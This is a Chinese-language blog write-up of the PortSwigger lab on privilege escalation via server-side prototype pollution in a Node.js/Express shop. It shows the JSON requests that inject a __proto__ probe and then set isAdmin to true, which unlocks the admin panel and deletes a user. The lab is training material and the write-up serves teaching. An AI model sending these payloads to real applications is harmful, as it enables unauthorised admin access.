污染属性反射检测服务器端原型污染

杳若   ·   发表于 2023-08-03 16:44:05   ·   漏洞文章

污染属性反射检测服务器端原型污染

?通过服务器端原型污染提升权限

Lab: Privilege escalation via server-side prototype pollution

?必要知识点

开发人员很容易陷入的一个陷阱是忘记或忽略 JavaScript 循环迭代对象的所有可枚举属性这一事实,包括它通过原型链继承的属性。
利用POSTPUT方法向应用程序或API提交JSON数据处容易存在该类漏洞。如果应用程序在发送JSON数据后在响应中包含返回的属性,可以尝试使用任意属性污染全局来探测该漏洞是否存在。

? 实验室要求

本练习基于 Node.jsExpress 框架构建。它容易受到服务器端原型污染的影响,因为它不安全地将用户可控制的输入合并到服务器端 JavaScript 对象中。这很容易检测,因为通过原型链继承的任何污染属性在 HTTP 响应中都是可见的。
要解决实验室问题,请执行以下操作:

  1. 查找可用于全局Object.prototype
  2. 确定可用于提升权限的小工具属性。
  3. 访问管理面板并删除carlos用户 。
    您可以使用以下凭据登录到自己的帐户:wiener:peter

⚡️黑盒测试

● 首先访问对应的靶场界面

  1. https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution

● 启动靶场

1. 分析功能点

这是一个购物SHOP的网站,存在登录以及查看商品信息的功能点。
利用对应的账号密码wiener:peter进行登录

登录之后存在填写收获地址的功能点,较为符合购物网站的逻辑。

2.查看历史记录

我们查看对应的burp历史记录
令人感兴趣的功能点是最后点击地址的时候,发现存在一处isAdmin
对于渗透测试人员来说,存在Admin类的内容是需要重点关注的

3.功能点探究

点击提交表单之后,字段中的数据将会作为json发送到服务器端(一共五个参数)

  1. POST /my-account/change-address
  2. {"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L"}

服务器对于接受到的数据会进行响应,响应的内容似乎就是我自己这个用户
相比较而言,多了username firstname lastname isAdmin的参数

  1. HTTP/1.1 200 OK
  2. {"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}
4.原型污染尝试

因为在该处功能点之中是以POST请求提交了JSON参数,并且在回显的响应中包含了返回的属性,因此进行服务器端原型污染的探测。
构造注入响应 __proto__

  1. POST /my-account/change-address
  2. {"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
  3. "__proto__":{
  4. "foo":"bar"
  5. }
  6. }

利用burp的重放模块发现存在服务器端原型污染漏洞
判定该网站易受攻击,注入的属性将出现在响应的更新对象中

5.漏洞利用

确定可以服务器端原型污染的问题之后,我们可以利用这个问题扩大战果
isAdmin参数为false就很像越权问题,尝试构造权限提升 false->true

  1. POST /my-account/change-address
  2. {"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
  3. "__proto__":{
  4. "isAdmin":"true"
  5. }
  6. }

发送请求之后,发现响应进行了更新。
表明isAdmin对象没有自己的属性,而是从受污染的原型继承了它。

通常权限提升之后,我们就可以看到更多的内容,访问个人用户发现多了一个功能点Admin panel

点击删除carlos用户

完成实验

用户名金币积分时间理由
Track-魔方 600.00 0 2023-08-06 17:05:51 深度 200 普适 200 可读 200

打赏我,让我更有动力~

0 条回复   |  直到 8个月前 | 309 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.